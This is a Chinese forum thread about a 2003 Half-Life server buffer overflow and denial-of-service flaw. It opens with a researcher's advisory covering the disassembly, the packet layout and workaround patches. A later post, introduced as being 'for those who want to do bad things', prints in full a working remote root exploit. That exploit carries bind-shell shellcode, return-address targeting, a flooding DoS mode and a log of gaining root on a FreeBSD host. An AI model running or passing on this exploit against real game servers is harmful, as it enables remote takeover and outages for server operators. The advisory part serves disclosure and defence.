Half-Life Server/Client Remote Denial of Service[大家打补丁去]

苦逼热狗

路边通讯社社长
VIP
注册
2002-10-12
消息
47,114
荣誉分数
2,376
声望点数
393
#######################################################################

Applications: Half-Life (http://half-life.sierra.com)
Versions: 1.1.1.0 and previous versions (including all MODs
based on the game, such as Counter-Strike and DoD)
3.1.1.1c1 and 4.1.1.1a of the free dedicated server
Platforms: Windows and Linux
Bugs: Remote buffer overflow and Denial of Service
Risk High
Author: Auriemma Luigi
Senior Security Researcher, PivX Solutions, LLC
e-mail: aluigi@pivx.com
web: http://www.pivx.com/luigi/


#######################################################################


1) Introduction
2) Bugs resume
3) Bugs details (long, unuseful and boring)
4) The Code
5) Fix
6) Researcher's Philosophy


#######################################################################

===============
1) Introduction
===============


Valve's Half-Life was released in 1998 but still remains as the worlds
most popular FPS game.

The success of the game is largely due to the overwhelming community
support, which has spawned a range of MODs for the game - including
the popular Counter-Strike MOD and Day Of Defeat.



#######################################################################

==============
2) Bugs resume
==============


There is a buffer overflow in the Half-Life servers.

Both the dedicated server and the game server are vulnerable.

The only limitation in this buffer-overflow is that some bytes can not
be used in the shellcode because they are delimiters or otherwise
reserved for use by the Half-Life protocol. This puts some minor
constraints on the execution of the remote code, but is far from
limiting.

Further, there is a Denial of Service vulnerability that completely
freezes the server, entering it into an infinite loop.



#######################################################################

==========================================
3) Bugs details (long, useless and boring)
==========================================


---
The following information is long, read only if you want some useless
details on this vulnerability or simply if you want too appreciate all
the time I have lost debugging this game, it has not been completely
lost 8-)
---


The first thing that I want to specify is that some bytes cannot be
used to fully exploit the following buffer-overflow, so the code
execution could theoretically be limited.


The explanation of the bug is divided into 4 sections used to show the
effects of the long string as parameter and value on the graphical game
and on the dedicated server:

BUG 1: buffer-overflow
BUG 2: freeze (infinite loop)


With parameter and value I mean:
代码:
\name\Test
 |    |
 |    value
 parameter

The problem happens because Half-Life uses other instructions if the
total lenght of the string sent by the client is major than 256 bytes:

cmp ecx, edi
jl 00d3e687




---------------------------
BUG 1: HLDS.EXE (parameter)
---------------------------


First of all, I want to explain the buffer overflow that only occurs
within the Half-Life dedicated server.

During my explanation I will refer only to the exact addresses of the
Half-Life 1.1.1.0 dedicated server on Windows (hlds.exe from the retail
game).


The problem happens when a too long parameter is passed in the packet
to join multiplayer matches sent by the client to the server and the
following is an example in C language of the UDP packet plus a big
parameter (that I have called PAYLOAD):

代码:
#define PAYLOAD    [268 chars]
#define BOF        "\xff\xff\xff\xff" \
/* 1 */            "connect %d" \
/* 2 */            " %s \"" \
                   "\\prot\\2" \
                   "\\unique\\-1" \
                   "\\raw\\00000000000000000000000000000000" \
                   "\" \"" \
                   "\\model\\" MODEL \
                   "\\topcolor\\" TOPCOLOR \
                   "\\bottomcolor\\" BOTTOMCOLOR \
                   "\\rate\\9999.000000" \
                   "\\cl_updaterate\\20" \
                   "\\cl_lw\\1" \
                   "\\cl_lc\\1" \
                   "\\cl_dlmax\\128" \
                   "\\hud_classautokill\\1" \
                   "\\name\\" NAME \
/* 3 */            "\\" PAYLOAD "\\value" \
                   "\"\n"
where:
1) the first "%d" is the protocol version supported by the server
2) "%s" is the challenge key sent by the server previously
3) PAYLOAD is a long string of 268 chars (268 are needed to overwrite
the stored EBP and EIP registers in the stack, respectively at
offset 260 and 264 of the PAYLOAD string)

The dangerous code is located in the function at address 0xD3E3F0 of
SWDS.DLL (address that in memory will become 0x63ce3f0, so if you want
to debug it in real-time remember to add 0x5690000...).

This function seems to be something similar to a strcpy() function but
it is used ONLY with parameters, and it looks not only for NULL bytes
but also for backslashes '\' in the parameters sent by the client.


The problem however is located "exactly" in the loop that starts from
address 0xD3E425 to 0xD3E432:
代码:
:00D3E425 3C5C                    cmp al, 5C
:00D3E427 740B                    je 00D3E434
:00D3E429 8801                    mov byte ptr [ecx], al
:00D3E42B 8A4601                  mov al, byte ptr [esi+01]
:00D3E42E 41                      inc ecx
:00D3E42F 46                      inc esi
:00D3E430 3AC3                    cmp al, bl
:00D3E432 75F1                    jne 00D3E425

As you can see, this loop makes the following things:

1) if the current byte in our string is equal to '\' the loop will be
broken
2) it stores the current byte in memory (buffer overflow)
3) it gets the next byte from our string
4) the pointer now points to the next memory position and next byte of
the string
5) if the current byte in our string is a NULL byte the loop will be
broken (BL in our case is a NULL byte)


Wonderful!
In the meantime no instruction checks if the string/parameter passed by
the client is too long for the local buffer, so our Half-Life server is
in a very bad situation... In fact the previously stored EIP (that was
equal to 0x63ce614) has been fully overwritten by our string.



-------------------------
BUG 1: HL.EXE (parameter)
-------------------------

代码:
:01D3E425 3C5C                    cmp al, 5C
:01D3E427 740B                    je 01D3E434
:01D3E429 8801                    mov byte ptr [ecx], al
:01D3E42B 8A4601                  mov al, byte ptr [esi+01]
:01D3E42E 41                      inc ecx
:01D3E42F 46                      inc esi
:01D3E430 3AC3                    cmp al, bl
:01D3E432 75F1                    jne 01D3E425
(The executable seems to decode itself in memory at runtime or something
similar)




-----------------------
BUG 2: HLDS.EXE (value)
-----------------------


A similar problem happens in the value field, for example inserting the
PAYLOAD as value of a normal parameter, like (C language):

"\\parameter\\" PAYLOAD


In the dedicated server (SWDS.DLL) after the vulnerable loop that
checks the parameter (0xD3E425 as seen previously) there is another
loop that instead checks the value of the parameters.
This loop goes from 0xD3E45B to 0xD3E468:
代码:
:00D3E45B 3C5C                    cmp al, 5C
:00D3E45D 740B                    je 00D3E46A
:00D3E45F 8801                    mov byte ptr [ecx], al
:00D3E461 8A4601                  mov al, byte ptr [esi+01]
:00D3E464 41                      inc ecx
:00D3E465 46                      inc esi
:00D3E466 3AC3                    cmp al, bl
:00D3E468 75F1                    jne 00D3E45B

This loop copies our string/value to another buffer in memory that is
located before the buffer used to store the parameter.

The stack of these functions is similar to the following:

[value_buff]...[parameter_buff]...[EBP][EIP]
0x415df94 0x415e094 0x415e19c


Fortunately Half-Life can accept only values minor/equal than 380 chars
(parameters limit is minor than 380), so the string to use to exploit
the server is limited and cannot reach the position in memory where is
stored the EIP value.

Practical resuming:
- The function that checks the value uses a buffer that starts from the
memory position: 0x415df94
- The function that checks the parameter uses a buffer that starts from
the memory position: 0x415e094
- EIP is stored at position: 0x415e19c

So: 0x415df94 + 0x17c = 0x415E110 (that is 140 bytes minor than the
position of the stored EIP in memory)


However the problem is not finished here because a buffer-overflow
doesn't exist in the value, but a good Denial of Service does exist.


In fact, the effect in the Half-Life dedicated server is an infinite
loop in SWDS.DLL, from the memory address 0x63ce60d (0xD3E60D) to
0x63ce645 (0xD3E645).


This function simply makes an infinite check of the same string given
by the user, this is the simple cause of the DoS.



---------------------
BUG 2: HL.EXE (value)
---------------------


The problem is the same in HLDS.EXE

The only things that change are the offsets of the checking function
because the vulnerable loop is in HL.EXE and in memory it starts from
0x01d3e60d to 0x01d3e645:

代码:
:01D3E60D 57                      push edi
:01D3E60E 56                      push esi
:01D3E60F E8DCFDFFFF              call 01D3E3F0 <-- vulnerable function
...
:01D3E643 84C0                    test al, al
:01D3E645 75C6                    jnz 01D3E60D




---


NOTE: the same things happen on the Linux dedicated server too.
However I have noted a difference between the 3.1.1.1 and the
latest versions of the dedicated server where seems that the
buffer-overflow in the parameter cause an infinite loop...



#######################################################################

===========
4) The Code
===========


The proof-of-concept exploit is very simple, and acts partly as a DoS
and a code execution exploit.

The return address is overwritten with the offset of a function in
SWDLL.DLL that displays a message in the console of the dedicated
server, after which it crashes.
This approach was chosen to demonstrate actual code execution without
endangering the administrator, enabling the admin to easily verify
whether the server is vulnerable.
The POC exploit can be used against both the dedicated and the game
servers, overwriting the stored address with 0x063c27f5.

It can be compiled on both Windows and Unix and can test both the
buffer-overflow in the parameter (code-execution) and in the value
(DoS):


http://www.pivx.com/luigi/poc/hlbof-server.zip




#######################################################################

======
5) Fix
======


Valve was notified of this vulnerability on April 14 2003, and replied
that they were working to patch these bugs.

Since that last point of contact, Valve and it's representatives have
been contacted on multiple occasions for a status update on the patch,
without any replies.


---


I have found a little work-around to the problem (just a jump).
Practically I avoid that the data sent by the client will be managed by
the vulnerable functions if it is longer than 256 bytes.
I don't have the source code of the game and I'm not a Valve's
programmer so this is just a personal and simple work-around that I
have tested which seems not to have any problems.
Feel free to try it until an official patch will be provided and please
let me know if there are problems:


Half-Life 1.1.1.0 dedicated server (retail game):

http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip


Half-Life 4.1.1.1a dedicated server for Windows:

http://www.pivx.com/luigi/patches/hlbof-server-4111a-fix.zip



#######################################################################

==========================
5) Researcher's Philosophy
==========================


Be free.
The researchers' community needs your reversing, your programs, and
your research. Never let your passion die and don't stop your work!

Disclosure:
Full and responsible disclosure can lead to a quick fix, and prevent a
problem before it gets into the wrong hands.



#######################################################################

====================
About PivX Solutions
====================


PivX Solutions, is a premier network security consultancy offering a
myriad of network security services to our clients.

For more information go to http://www.PivX.com


#######################################################################


---
Researcher
http://www.pivx.com/luigi/
 
要干坏事的看这里:
客户端:
Half-Life client versions 1.1.1.0 and below (including all MODs based on the game, such as Counter-Strike and DoD) remote exploit that will pose as a server that overwrites the stored return address but does not attempt any command execution.

http://packetstormsecurity.nl/0307-exploits/hlbof-client.zip
md5:47c81302e345d9a31e8cb8ee2dab615f

服务器端:
Half-Life server versions 1.1.1.0 and below (including all MODs based on the game, such as Counter-Strike and DoD) remote exploit that will cause a denial of service.

http://packetstormsecurity.nl/0307-exploits/hlbof-server.zip
md5:5936369be7bf61fd4c0c410f03526b21
 
Half-Life remote server root exploit for FreeBSD that works against version lower or equal to 1.1.1.0, and versions 3.1.1.1c1 and 4.1.1.1a.

代码:
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit 
// Code by hkvig of UHAGr and wsxz of Priv8 Security
//
// This code is based upon the recent halflife exploit but it is
// not a dos. Instead this exploit provides you a nice shell to
// the vulnerable host
//
// 
// LOGS OF SUCCESSFUL EXPLOITATION
//
// [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
//
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
// Greetings to #priv8security & #!uhagr people
// 
// [+] Looking up host ip addr
// [+] Establishing virtual udp connection
// [+] Getting server info
// [+] Server protocol 0x2e
//     Players         0
//     Proxy           0
//     Lan             0
//     Nplayers        0x10
//     Directory       cstrike
//     Description     CounterStrike
//     Host            Counter-Strike 1.5 Server
//     Type            0
//     Pass            0
//     Os              0
//     Security        0x1
// [+] Getting server challenge integer
//     Server challenge is 280135011
// [+] Exploiting halflife server
// [+] Connecting to our shell
// Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun  5 02:55:42 GMT 2003
//     root@wv i386 unknown
// uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
//
//
// Greetings fly to
//	- The rest UHAGr and Priv8 Security people
//	- CCC 
//	- [url]www.core-dumped.org[/url]
//	- All of our friends to any net
// 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

#define LOCAL_PORT ( getuid() + getpid() + rand())
#define DEST_PORT 27015
#define BUFFER_SIZE 4096
#define DELAY 20 
#define INIT "echo; echo; uname -a; id; who; echo; echo;\n"

// The packet layout for a bsd host
#define PAYLOAD     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
                    "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
                    "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
                    "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
                    "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
                    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                    "\x89\xe1\xb0\x0b\xcd\x80" \
                    "\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
                    \
                    "\x42\x42\x42\x42"

#define NAME        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                    "\x90\x90\x90\xeb\x08"

#define BUFFER "\xff\xff\xff\xff" \
               "connect %d" \
               " %s \"" \
               "\\prot\\2" \
               "\\unique\\-1" \
               "\\raw\\%08lx%08lx%08lx%08lx" \
               "\" \"" \
               "\\model\\robo" \
               "\\topcolor\\25" \
               "\\bottomcolor\\161" \
               "\\rate\\9999.000000" \
               "\\cl_updaterate\\20" \
               "\\cl_lw\\1" \
               "\\cl_lc\\1" \
               "\\cl_dlmax\\128" \
               "\\hud_classautokill\\1" \
               "\\name\\" NAME \
               "\\" PAYLOAD "\\value" \
               "\"\n"


// The structure that holds the server info needed for the exploitation
struct serverinfo
{
	unsigned int protocol;                   // Protocol version
	unsigned int players;                    // Current players
	unsigned int proxytarget;                // Proxy
	unsigned int lan;                        // Lan
	unsigned int nplayers;                   // Players
	char *directory;                         // Current directory
	char *description;                       // Server description
	char *host;                              // Hosts alias
	char *challenge;                         // Challenge integer
	unsigned int type;                       // Server type
	unsigned int pass;                       // Server pass
	unsigned int os;                         // Os
	unsigned int security;                   // Security
} server;


// The structure that contains the targets
struct target
{
        unsigned int id;
        const char *description;
        unsigned long int retaddr;
} 
targets[] =
{
        { 0 , "Freebsd 5.1" , 0xbfbfe398  } ,

	{ 1 , "DoS attack to every OS" , 0x41414141 } ,

        { 2 , NULL , 0 }
};


// This function lists the available targets
void list( void )
{
int loop = 0;

	fprintf( stdout , "\n\nAvailable targets\n" );
	while( targets[loop].description != NULL )
	{
	fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
	loop++;
	}
	fprintf( stdout , "\n\n" );
	
	return;
}


// This function is responsible for the proper error reporting and
// error code returning
void do_exit( const char *str , const char *file , unsigned int line )
{
        fprintf( stdout , "\n" );
        if( file != NULL && line != 0 )
                fprintf( stdout , "Error at %s at line %d\n" , file , line );

        if( str != NULL )
                perror( str );

        exit( -errno );
}


// A safer version of the standard strtok() function
char *strtokerr( char *str , const char *del )
{
char *ptr;

        if(( ptr = strtok( str , del )) == NULL )
        {
	fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
	fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
	do_exit( NULL , NULL , 0 );
	}

        return ptr;
}


// This function is responsible for looking the ip addr of the target host 
unsigned long int lookup_host( char *host )
{
struct in_addr r_host;
struct hostent *ip;

	if( !isdigit( *host ))
	{
        	if(( ip = gethostbyname( host )) == NULL )
			do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );

        	bzero( &r_host , sizeof( struct in_addr ));
        	r_host = *(( struct in_addr *)ip->h_addr );
        	return r_host.s_addr;
	}

	if( isdigit( *host ))
        	return inet_addr( host );

	return -1;
}


// This function establishes a virtual udp connection to the target
// host so that send() can be used instead of sendto()
int udp_connect( unsigned long int addr , unsigned int port )
{
int fd;
struct sockaddr_in host;
struct in_addr n_addr = *(( struct in_addr *)&addr );

        if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
        	do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );

        host.sin_family = AF_INET;
        host.sin_addr.s_addr = INADDR_ANY;
        host.sin_port = htons( LOCAL_PORT );
        if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );

        bzero( &host , sizeof( struct sockaddr_in ));
        host.sin_family = AF_INET;
        host.sin_addr = n_addr;
        host.sin_port = htons( port );
        if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );

	return fd;
}


// This is the standard tcp connection in just one function
int tcp_connect( unsigned long int addr , int port )
{
struct sockaddr_in host;
int fd;

        if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
		do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );

        host.sin_family = AF_INET;
        host.sin_addr.s_addr = INADDR_ANY;
        host.sin_port = htons( LOCAL_PORT );

        if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );

        bzero( &host , sizeof( struct sockaddr_in ));
        host.sin_family = AF_INET;
        host.sin_addr.s_addr = addr;
        host.sin_port = htons( port );

	if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
		do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );

	return fd;
}

// The standard function for controlling the shell
int shell( int fd )
{
int bytes;
char buffer[2048];
fd_set descr;
struct timeval time = { 2 , 0 };

        while( 1 )
        {
        	FD_ZERO( &descr );
        	FD_SET( fd , &descr );
        	FD_SET( 0 , &descr );
        	select( fd + 1 , &descr , NULL , NULL , NULL );

        	if( FD_ISSET( fd , &descr ))
        	{
                	bzero( buffer , sizeof( buffer ));
                	if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
                	{
                	fprintf( stdout , "[-] Connection closed by foreign host\n" );
                	do_exit( "shell(): read()" , __FILE__ , __LINE__ );
                	}
                	buffer[bytes] = '\0';
                	fputs( buffer , stdout );
        	}

		if( FD_ISSET( 0 , &descr ))
        	{
                	bzero( buffer , sizeof( buffer ));
                	if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
                        	do_exit( "shell(): read()" , __FILE__ , __LINE__ );
                	buffer[bytes] = '\0';
                	send( fd , buffer , strlen( buffer ) , 0 );
        	}
        }

        return 0;
}


// This function gets the server info needed for the exploitation and checks
// if the host is vulnerable
int server_info( int fd )
{
char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
char buffer[BUFFER_SIZE];
char *ptr;
int loop , bytes;

	bzero( buffer , sizeof( buffer ));

	if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
		do_exit( "server_info(): send()" , __FILE__ , __LINE__ );

	if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
		do_exit( "server_info(): read()" , __FILE__ , __LINE__ );

	for( loop = 0; loop < bytes; loop++ )
		if( buffer[loop] == '\0' ) buffer[loop] = 0x41;
	
	if(( ptr = strstr( buffer , "protocol" )) == NULL ) 	
	{
	fprintf( stdout , "[-] No protocol info into server response\n" );
	do_exit( NULL , NULL , 0 );
	}

	ptr = strtokerr( buffer , "\\" );                       // Ignoring response
	ptr = strtokerr( NULL , "\\" );                         // Protocol version
	server.protocol = atoi( strtokerr( NULL , "\\" ));

	ptr = strtokerr( NULL , "\\" );                         // Address
	ptr = strtokerr( NULL , "\\" );                         // Ip address and port

	ptr = strtokerr( NULL , "\\" );                         // Players
	server.players = atoi( strtokerr( NULL , "\\" ));       // Current players

	ptr = strtokerr( NULL , "\\" );                         // Proxytarget
	server.proxytarget = atoi( strtokerr( NULL , "\\" ));   // Proxytarget value

	ptr = strtokerr( NULL , "\\" );                         // Lan
	server.lan = atoi( strtokerr( NULL , "\\" ));           // Lan value

	ptr = strtokerr( NULL , "\\" );                         // Max players
	server.nplayers = atoi( strtokerr( NULL , "\\" ));      // Max players

	ptr = strtokerr( NULL , "\\" );                         // Directory
	server.directory = strtokerr( NULL , "\\" );            // Directory string

	ptr = strtokerr( NULL , "\\" );                         // Description
	server.description = strtokerr( NULL , "\\" );          // Description string

	ptr = strtokerr( NULL , "\\" );                         // Host
	server.host = strtokerr( NULL , "\\" );                 // Host string

	ptr = strtokerr( NULL , "\\" );                         // Map
	ptr = strtokerr( NULL , "\\" );                         // Map string

	ptr = strtokerr( NULL , "\\" );                         // Type
	server.type = atoi( strtokerr( NULL , "\\" ));          // Type value

	ptr = strtokerr( NULL , "\\" );                         // Pass
	server.pass = atoi( strtokerr( NULL , "\\" ));          // Pass value

	ptr = strtokerr( NULL , "\\" );                         // Os
	server.os = atoi( strtokerr( NULL , "\\" ));            // Os value

	ptr = strtokerr( NULL , "\\" );                         // Security
	server.security = atoi( strtokerr( NULL , "\\" ));      // Security value

	return 0;
}


// This function is responsible for getting the server's challenge in order
// to be used later into the exploitation udp packet
int server_challenge( int fd )
{
char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
char buffer[BUFFER_SIZE];

	bzero( buffer , sizeof( buffer ));

	if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
		do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );

	if(( read( fd , buffer , sizeof( buffer ))) == -1 )
		do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );

	strtokerr( buffer , " " );
	server.challenge = strtokerr( NULL , " " );
	return 0;
}

// This function is responsible for exploiting a bsd host
int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
{
char *exploit , *ptr;
int len;

	targ.retaddr -= offset;

	if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
		do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
	bzero( exploit , BUFFER_SIZE );

	len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge , 
	              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,   
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                      ( long int )( rand() << 1 ) + ( rand() & 0xf ));

	ptr = strstr( exploit , "BBBB" );
	*( unsigned long int *)ptr = targ.retaddr;

// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;

	if(( send( fd , exploit , len , 0 )) == -1 )
		do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );


	return 0;
}

// This function launches a dos attack against the vulnerable server
int do_dos( int fd , unsigned int delay )
{
int len;
char *dos , buff[268];

        if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
                do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );

        bzero( dos , BUFFER_SIZE );
        bzero( buff , sizeof( buff ));

        memset( buff , 0x41 , sizeof( buff ));

        len = snprintf( dos , BUFFER_SIZE ,
                              "\xff\xff\xff\xff"
                              "connect %d"
                              " %s \""
                              "\\prot\\2"
                              "\\unique\\-1"
                              "\\raw\\%08lx%08lx%08lx%08lx"
                              "\" \""
                              "\\model\\%s"
                              "\\topcolor\\25"
                              "\\bottomcolor\\161"
                              "\\rate\\9999.000000"
                              "\\cl_updaterate\\20"
                              "\\cl_lw\\1"
                              "\\cl_lc\\1"
                              "\\cl_dlmax\\128"
                              "\\hud_classautokill\\1"
                              "\\name\\Bugtest"
                              "\"\n" ,
                              server.protocol , server.challenge ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
                              ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
	                      buff );

        while( 1 )
        {
                if(( send( fd , dos , len , 0 )) == -1 )
                        do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );

                fprintf( stdout , "[+] DoS packet sent\n" );
                sleep( delay );
        }


        return 0;
}


int main( int argc , char *argv[] )
{ 
unsigned long int addr;
long int offset;
int fd , usrtarg , port;


	fprintf( stdout , "                                                                  \n\n"
	                  "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
	                  "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit                \n"
	                  "Code by hkvig of UHAGr and wsxz of Priv8 Security                   \n"
	                  "Greetings to #priv8security & #!uhagr people                      \n\n" );

	if( argc != 4 && argc != 5 )
	{
		fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
	                          "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
		list();
		return 0;
	}
	
	if( argc == 5 )
	{
		port = atoi( argv[4] );
		fprintf( stdout , "[+] Using port %d\n" , port );
	}
	else
		port = DEST_PORT;

	offset = atoi( argv[3] );
	fprintf( stdout , "[+] Using offset %#d\n" , offset );

	usrtarg = atoi( argv[1] );
	if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
	{
	fprintf( stdout , "[-] No such target in target list\n" );
	do_exit( NULL , NULL , 0 );
	}

	bzero( &server , sizeof( struct serverinfo ));

	fprintf( stdout , "[+] Looking up host ip addr\n" );
	addr = lookup_host( argv[2] );	
	sleep( 1 );

	
	fprintf( stdout , "[+] Establishing virtual udp connection\n" );
	fd = udp_connect( addr , port );
	sleep( 1 );	

	
	fprintf( stdout , "[+] Getting server info\n" );
	server_info( fd );
	sleep( 1 );

	fprintf( stdout , "[+] Server protocol %#x\n"
	                  "    Players         %#x\n"
	                  "    Proxy           %#x\n"
	                  "    Lan             %#x\n"
	                  "    Nplayers        %#x\n"
	                  "    Directory       %s \n"
	                  "    Description     %s \n"
	                  "    Host            %s \n"
	                  "    Type            %#x\n"
	                  "    Pass            %#x\n"
	                  "    Os              %#x\n"
	                  "    Security        %#x\n" ,
	                  server.protocol ,
	                  server.players ,
	                  server.proxytarget ,
	                  server.lan ,
	                  server.nplayers ,
	                  server.directory ,
	                  server.description ,
	                  server.host ,
	                  server.type ,
	                  server.pass ,
	                  server.os ,
	                  server.security );

	sleep( 1 );
	fprintf( stdout , "[+] Getting server challenge integer\n" );
	server_challenge( fd );

	fprintf( stdout , "    Server challenge is %s\n" , server.challenge );
	sleep( 1 );


	if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) 
	{ 
		fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
		do_dos( fd , DELAY );
	}
	else // Real exploitation
	{
		fprintf( stdout , "[+] Exploiting halflife server\n" );
		do_bof_bsd( fd , targets[usrtarg] , offset );
	
		sleep( 1 );
		close( fd );

		sleep( 3 );
		fprintf( stdout , "[+] Connecting to our shell\n" );
		fd = tcp_connect( addr , 5074 );
	
		send( fd , INIT , sizeof( INIT ) , 0 );
		shell( fd );
	}	

	close( fd );
	return 0; 
}
 
牛~~不过最好把能干坏事的那部分去掉。。。。。。
 
放哪里不都一样

别对付我就ok了
 
后退
顶部